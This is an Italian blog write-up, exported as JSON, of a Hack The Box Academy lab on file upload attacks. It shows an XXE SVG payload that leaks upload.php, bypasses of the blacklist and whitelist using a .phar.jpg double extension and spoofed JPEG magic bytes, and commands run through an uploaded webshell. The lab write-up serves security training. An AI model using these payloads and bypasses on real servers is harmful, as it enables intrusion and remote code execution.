{"id":2520,"date":"2022-02-13T22:24:24","date_gmt":"2022-02-13T21:24:24","guid":{"rendered":"http:\/\/www.olografix.org\/frank\/wordpress\/?p=2520"},"modified":"2022-02-13T22:36:30","modified_gmt":"2022-02-13T21:36:30","slug":"f-u-a","status":"publish","type":"post","link":"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/?p=2520","title":{"rendered":"F.u.A."},"content":{"rendered":"\n<p>ho trovato una motivazione per essere felice\/stimolato: ormai mi &#8220;drogo&#8221; con moduli su <a href=\"http:\/\/academy.hackthebox.com\" data-type=\"URL\" data-id=\"academy.hackthebox.com\" target=\"_blank\" rel=\"noreferrer noopener\">academy.hackthebox.com<\/a> \ud83d\ude42<\/p>\n\n\n\n<p>vediamo l'&#8221;esame finale&#8221; di questo interessantissimo modulo.<\/p>\n\n\n\n<p>obiettivo del gioco: accedere al <em>flag <\/em>sul filesystem di questo webserver:<\/p>\n\n\n\n<p><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"685\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-42-45-1024x685.png\" alt=\"\" class=\"wp-image-2521\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-42-45-1024x685.png 1024w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-42-45-300x201.png 300w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-42-45-768x514.png 768w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-42-45.png 1360w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>la parte pi\u00c3\u00b9 interessante \u00c3\u00a8 chiaramente &#8220;Contact Us&#8221;:<\/p>\n\n\n\n<p><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"541\" height=\"734\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-43-12.png\" alt=\"\" class=\"wp-image-2522\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-43-12.png 541w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-43-12-221x300.png 221w\" sizes=\"auto, (max-width: 541px) 100vw, 541px\" \/><\/figure>\n\n\n\n<p>iniziamo con le cose semplici, e vediamo come va a finire con un&#8217;immagine qualunque:<\/p>\n\n\n\n<p><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"510\" height=\"799\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-43-49.png\" alt=\"\" class=\"wp-image-2523\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-43-49.png 510w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-43-49-191x300.png 191w\" sizes=\"auto, (max-width: 510px) 100vw, 510px\" \/><\/figure>\n\n\n\n<p>il file viene caricato con successo:<\/p>\n\n\n\n<p><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"713\" height=\"135\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-44-08.png\" alt=\"\" class=\"wp-image-2524\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-44-08.png 713w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-44-08-300x57.png 300w\" sizes=\"auto, (max-width: 713px) 100vw, 713px\" \/><\/figure>\n\n\n\n<p>ma.. non sembra immediato capire &#8220;dove&#8221; sia andato a finire:<\/p>\n\n\n\n<p><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"709\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-49-23-1024x709.png\" alt=\"\" class=\"wp-image-2525\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-49-23-1024x709.png 1024w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-49-23-300x208.png 300w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-49-23-768x532.png 768w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-49-23.png 1095w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>tentativi banali come <code>\/upload\/nomefile<\/code>, <code>\/uploads\/nomefile<\/code>, etc.. non hanno portato a nulla.<\/p>\n\n\n\n<p>proviamo (tentativo disperato) ad uploadare una webshell in PHP. tra parentesi, sembra esserci un controllo client-side sui tipi di files ammessi:<\/p>\n\n\n\n<p><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"285\" height=\"161\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-46-12.png\" alt=\"\" class=\"wp-image-2527\"\/><\/figure>\n\n\n\n<p>che fa il paio con:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"970\" height=\"78\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-47-18.png\" alt=\"\" class=\"wp-image-2528\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-47-18.png 970w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-47-18-300x24.png 300w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-47-18-768x62.png 768w\" sizes=\"auto, (max-width: 970px) 100vw, 970px\" \/><\/figure>\n\n\n\n<p>by the way, veniamo chiaramente inculati:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"406\" height=\"140\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-44-54.png\" alt=\"\" class=\"wp-image-2529\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-44-54.png 406w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-44-54-300x103.png 300w\" sizes=\"auto, (max-width: 406px) 100vw, 406px\" \/><\/figure>\n\n\n\n<p>cerchiamo di indagare su quale sia lo script php che si &#8220;occupa&#8221; di fare l&#8217;upload, con l&#8217;inseparabile Burp:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"874\" height=\"478\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-51-37.png\" alt=\"\" class=\"wp-image-2526\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-51-37.png 874w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-51-37-300x164.png 300w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_19-51-37-768x420.png 768w\" sizes=\"auto, (max-width: 874px) 100vw, 874px\" \/><\/figure>\n\n\n\n<p>vediamo se riusciamo a ottenere <em>in chiaro<\/em> il codice di <code>upload.php<\/code> tramite XXE.<\/p>\n\n\n\n<p>creiamo un file .svg con questo contenuto:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\n&lt;!DOCTYPE svg &#91; &lt;!ENTITY xxe SYSTEM \"php:\/\/filter\/convert.base64-encode\/resource=upload.php\"&gt; ]&gt;\n&lt;svg&gt;&amp;xxe;&lt;\/svg&gt;\n<\/code><\/pre>\n\n\n\n<p>prima di farlo, tramite l&#8217;inspector del browser, togliamo di mezzo quei controlli, ossia:<\/p>\n\n\n\n<p><code>onchange=\"checkFile(this)\" accept=\".jpg,.jpeg,.png\"<\/code><\/p>\n\n\n\n<p>carichiamo il file svg:<\/p>\n\n\n\n<p><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"872\" height=\"435\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_20-09-52.png\" alt=\"\" class=\"wp-image-2531\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_20-09-52.png 872w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_20-09-52-300x150.png 300w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_20-09-52-768x383.png 768w\" sizes=\"auto, (max-width: 872px) 100vw, 872px\" \/><\/figure>\n\n\n\n<p>e godiamoci il risultato:<\/p>\n\n\n\n<p><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"981\" height=\"426\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_20-13-34.png\" alt=\"\" class=\"wp-image-2532\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_20-13-34.png 981w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_20-13-34-300x130.png 300w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_20-13-34-768x334.png 768w\" sizes=\"auto, (max-width: 981px) 100vw, 981px\" \/><\/figure>\n\n\n\n<p>quel blocco encodato in base64 contiene il codice php del file <code>upload.php<\/code>.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># cat upload.php | base64 -d\n&lt;?php\nrequire_once('.\/common-functions.php');\n\n\/\/ uploaded files directory\n$target_dir = \".\/user_feedback_submissions\/\";\n\n\/\/ rename before storing\n$fileName = date('ymd') . '_' . basename($_FILES&#91;\"uploadFile\"]&#91;\"name\"]);\n$target_file = $target_dir . $fileName;\n\n\/\/ get content headers\n$contentType = $_FILES&#91;'uploadFile']&#91;'type'];\n$MIMEtype = mime_content_type($_FILES&#91;'uploadFile']&#91;'tmp_name']);\n\n\/\/ blacklist test\nif (preg_match('\/.+\\.ph(p|ps|tml)\/', $fileName)) {\n    echo \"Extension not allowed\";\n    die();\n}\n\n\/\/ whitelist test\nif (!preg_match('\/^.+\\.&#91;a-z]{2,3}g$\/', $fileName)) {\n    echo \"Only images are allowed\";\n    die();\n}\n\n\/\/ type test\nforeach (array($contentType, $MIMEtype) as $type) {\n    if (!preg_match('\/image\\\/&#91;a-z]{2,3}g\/', $type)) {\n        echo \"Only images are allowed\";\n        die();\n    }\n}\n\n\/\/ size test\nif ($_FILES&#91;\"uploadFile\"]&#91;\"size\"] &gt; 500000) {\n    echo \"File too large\";\n    die();\n}\n\nif (move_uploaded_file($_FILES&#91;\"uploadFile\"]&#91;\"tmp_name\"], $target_file)) {\n    displayHTMLImage($target_file);\n} else {\n    echo \"File failed to upload\";\n}\n<\/code><\/pre>\n\n\n\n<p>la prima scoperta interessante \u00c3\u00a8 il path di dove vengono salvate le immagini:<\/p>\n\n\n\n<p><code>$target_dir = \".\/user_feedback_submissions\/\";<\/code><\/p>\n\n\n\n<p>nonch\u00c3\u00a9 il come vengono rinominati i files:<\/p>\n\n\n\n<p><code>$fileName = date('ymd') . '_' . basename($_FILES[\"uploadFile\"][\"name\"]); $target_file = $target_dir . $fileName;<\/code><\/p>\n\n\n\n<p>come controprova, verifichiamo con il nostro Mario kart di prima \ud83d\ude42<\/p>\n\n\n\n<p><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"688\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_20-39-55-1024x688.png\" alt=\"\" class=\"wp-image-2533\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_20-39-55-1024x688.png 1024w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_20-39-55-300x202.png 300w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_20-39-55-768x516.png 768w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_20-39-55.png 1181w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>CVD!<\/p>\n\n\n\n<p>next, avendo in chiaro anche il meccanismo di blacklist E whitelist, possiamo fare dei test.<\/p>\n\n\n\n<p>partiamo da una jpg &#8220;vera&#8221; qualsiasi (giusto per non rimettere mano all&#8217;inspector del browser per togliere i javascript \ud83d\ude42<\/p>\n\n\n\n<p><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"624\" height=\"468\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/pac.jpg\" alt=\"\" class=\"wp-image-2535\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/pac.jpg 624w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/pac-300x225.jpg 300w\" sizes=\"auto, (max-width: 624px) 100vw, 624px\" \/><\/figure>\n\n\n\n<p>e intercettiamo l&#8217;upload:<\/p>\n\n\n\n<p><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"904\" height=\"537\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_20-42-48.png\" alt=\"\" class=\"wp-image-2536\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_20-42-48.png 904w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_20-42-48-300x178.png 300w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_20-42-48-768x456.png 768w\" sizes=\"auto, (max-width: 904px) 100vw, 904px\" \/><\/figure>\n\n\n\n<p>proviamo a cambiare il nome del file e il contenuto dello stesso con una web shell semplicissima:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"775\" height=\"538\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_20-43-50.png\" alt=\"\" class=\"wp-image-2537\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_20-43-50.png 775w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_20-43-50-300x208.png 300w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_20-43-50-768x533.png 768w\" sizes=\"auto, (max-width: 775px) 100vw, 775px\" \/><\/figure>\n\n\n\n<p>veniamo inculati:<\/p>\n\n\n\n<p><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"358\" height=\"228\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_20-44-19.png\" alt=\"\" class=\"wp-image-2538\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_20-44-19.png 358w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_20-44-19-300x191.png 300w\" sizes=\"auto, (max-width: 358px) 100vw, 358px\" \/><\/figure>\n\n\n\n<p>ma noi questo lo sapevamo gi\u00c3\u00a0, perch\u00c3\u00a9 abbiamo triggerato la &#8220;blacklist&#8221; (il nostro file contiene &#8220;<code>.php<\/code>&#8220;)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>if (preg_match('\/.+\\.ph(p|ps|tml)\/', $fileName)) {\n    echo \"Extension not allowed\";\n    die();<\/code><\/pre>\n\n\n\n<p>la blacklist di cui sopra, tuttavia, consente di uploadare un file con estensione <code><strong>.phar<\/strong><\/code> che, pu\u00c3\u00b2 portare comunque ad esecuzione di codice PHP, se assumiamo che la conf del web server sia:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;FilesMatch \".+\\.ph(ar|p|tml)\"&gt;\n    SetHandler application\/x-httpd-php\n&lt;\/FilesMatch&gt;\n<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"774\" height=\"442\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_21-34-02.png\" alt=\"\" class=\"wp-image-2539\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_21-34-02.png 774w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_21-34-02-300x171.png 300w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_21-34-02-768x439.png 768w\" sizes=\"auto, (max-width: 774px) 100vw, 774px\" \/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"359\" height=\"220\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_21-34-14.png\" alt=\"\" class=\"wp-image-2540\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_21-34-14.png 359w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_21-34-14-300x184.png 300w\" sizes=\"auto, (max-width: 359px) 100vw, 359px\" \/><\/figure>\n\n\n\n<p>come si vede, l&#8217;errore \u00c3\u00a8 diverso: adesso abbiamo superato la blacklist, ma abbiamo triggerato la whitelist <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ whitelist test\nif (!preg_match('\/^.+\\.&#91;a-z]{2,3}g$\/', $fileName)) {\n    echo \"Only images are allowed\";\n    die();\n}\n\n<\/code><\/pre>\n\n\n\n<p>la whitelist di cui sopra \u00c3\u00a8 fatta un po&#8217; meglio della blacklist, perch\u00c3\u00a9 consente solo i file il cui nome <strong>finisce <\/strong>con quella regexp (mentre la blacklist verifica solo se <strong>contiene <\/strong>o meno la regexp).<\/p>\n\n\n\n<p>riproviamo dunque con <code>pac.phar.jpg<\/code>:<\/p>\n\n\n\n<p><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"805\" height=\"549\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_21-37-14.png\" alt=\"\" class=\"wp-image-2542\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_21-37-14.png 805w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_21-37-14-300x205.png 300w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_21-37-14-768x524.png 768w\" sizes=\"auto, (max-width: 805px) 100vw, 805px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"470\" height=\"222\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_21-37-26.png\" alt=\"\" class=\"wp-image-2543\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_21-37-26.png 470w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_21-37-26-300x142.png 300w\" sizes=\"auto, (max-width: 470px) 100vw, 470px\" \/><\/figure>\n\n\n\n<p>A questo punto non \u00c3\u00a8 chiaro al 100% se abbiamo superato la whitelist, perch\u00c3\u00a9 l&#8217;errore, anche nella terza condizione, \u00c3\u00a8 sempre &#8220;<code>Only images are allowed<\/code>&#8220;:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ whitelist test\nif (!preg_match('\/^.+\\.&#91;a-z]{2,3}g$\/', $fileName)) {\n    echo \"<strong>Only images are allowed<\/strong>\";\n    die();\n}\n\n\/\/ type test\nforeach (array($contentType, $MIMEtype) as $type) {\n    if (!preg_match('\/image\\\/&#91;a-z]{2,3}g\/', $type)) {\n        echo \"<strong>Only images are allowed<\/strong>\";\n        die();\n    }\n}<\/code><\/pre>\n\n\n\n<p>tuttavia, grazie a questo <a href=\"https:\/\/online-free-tools.com\/en\/test_php_preg_match\" data-type=\"URL\" data-id=\"https:\/\/online-free-tools.com\/en\/test_php_preg_match\" target=\"_blank\" rel=\"noreferrer noopener\">link<\/a>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"456\" height=\"430\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/asd.jpg\" alt=\"\" class=\"wp-image-2545\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/asd.jpg 456w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/asd-300x283.jpg 300w\" sizes=\"auto, (max-width: 456px) 100vw, 456px\" \/><\/figure>\n\n\n\n<p>sembra che abbiamo bypassato la whitelist.<\/p>\n\n\n\n<p>dobbiamo quindi superare il terzo controllo; dobbiamo presupporre che dopo l&#8217;upload venga effettuato un check sul <em>tipo di file<\/em>.<\/p>\n\n\n\n<p>Dobbiamo quindi far creare al controllo lato-server che si tratti di una jpeg, anche se di fatto non lo \u00c3\u00a8.<\/p>\n\n\n\n<p>possiamo trovare un po&#8217; ovunque i &#8220;magic bytes&#8221; per i vari tipi di file, es.<\/p>\n\n\n\n<p><a href=\"https:\/\/gist.github.com\/leommoore\/f9e57ba2aa4bf197ebc5\">https:\/\/gist.github.com\/leommoore\/f9e57ba2aa4bf197ebc5<\/a><\/p>\n\n\n\n<p>nel nostro caso dobbiamo far s\u00c3\u00ac che il contenuto esadecimale del nostro file inizi con:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ff d8 ff e0<\/code><\/pre>\n\n\n\n<p>grazie a <code>hexedit<\/code>, modifichiamo dunque l'&#8221;incipit&#8221; della webshell aggiungendo i bytes di cui sopra, ottenendo alla fine:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"775\" height=\"92\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/asd1.jpg\" alt=\"\" class=\"wp-image-2546\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/asd1.jpg 775w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/asd1-300x36.jpg 300w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/asd1-768x91.jpg 768w\" sizes=\"auto, (max-width: 775px) 100vw, 775px\" \/><\/figure>\n\n\n\n<p>il comando <code>file <\/code>sembra darci ragione sul fatto che sia <em>veramente <\/em>una jpeg:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>root@kaligra:\/home\/joshua\/academy\/file_upload_attacks# file webshell.phar.jpg\nwebshell.phar.jpg: JPEG image data\n<\/code><\/pre>\n\n\n\n<p>a questo punto, dopo aver avuto un&#8217;idea completa dei controlli lato client (javascript) e lato server (controlli tramite PHP), possiamo prendere il nostro file <code>webshell.phar.jpg<\/code> e uploadarlo indisturbati:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"560\" height=\"681\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_22-15-47.png\" alt=\"\" class=\"wp-image-2547\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_22-15-47.png 560w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_22-15-47-247x300.png 247w\" sizes=\"auto, (max-width: 560px) 100vw, 560px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"741\" height=\"123\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_22-16-10.png\" alt=\"\" class=\"wp-image-2548\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_22-16-10.png 741w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_22-16-10-300x50.png 300w\" sizes=\"auto, (max-width: 741px) 100vw, 741px\" \/><\/figure>\n\n\n\n<p>vediamo se \u00c3\u00a8 stato caricato correttamente:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"920\" height=\"179\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_22-18-40.png\" alt=\"\" class=\"wp-image-2549\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_22-18-40.png 920w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_22-18-40-300x58.png 300w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_22-18-40-768x149.png 768w\" sizes=\"auto, (max-width: 920px) 100vw, 920px\" \/><\/figure>\n\n\n\n<p>mm, c&#8217;\u00c3\u00a8 qualcosa (non un errore &#8220;Not found&#8221; \ud83d\ude42<\/p>\n\n\n\n<p>a questo punto, possiamo interagire con la nostra webshell, passandogli il parametro <code>cmd <\/code>e il comando desiderato:<\/p>\n\n\n\n<p><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1013\" height=\"168\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_22-20-02.png\" alt=\"\" class=\"wp-image-2550\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_22-20-02.png 1013w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_22-20-02-300x50.png 300w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/Screenshot_2022-02-13_22-20-02-768x127.png 768w\" sizes=\"auto, (max-width: 1013px) 100vw, 1013px\" \/><\/figure>\n\n\n\n<p>game over *<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>ho trovato una motivazione per essere felice\/stimolato: ormai mi &#8220;drogo&#8221; con moduli su academy.hackthebox.com \ud83d\ude42 vediamo l&#8217;&#8221;esame finale&#8221; di questo interessantissimo modulo. obiettivo del gioco: accedere al flag sul filesystem di questo webserver: la parte pi\u00c3\u00b9 interessante \u00c3\u00a8 chiaramente &#8220;Contact Us&#8221;: iniziamo con le cose semplici, e vediamo come va a finire con un&#8217;immagine qualunque: 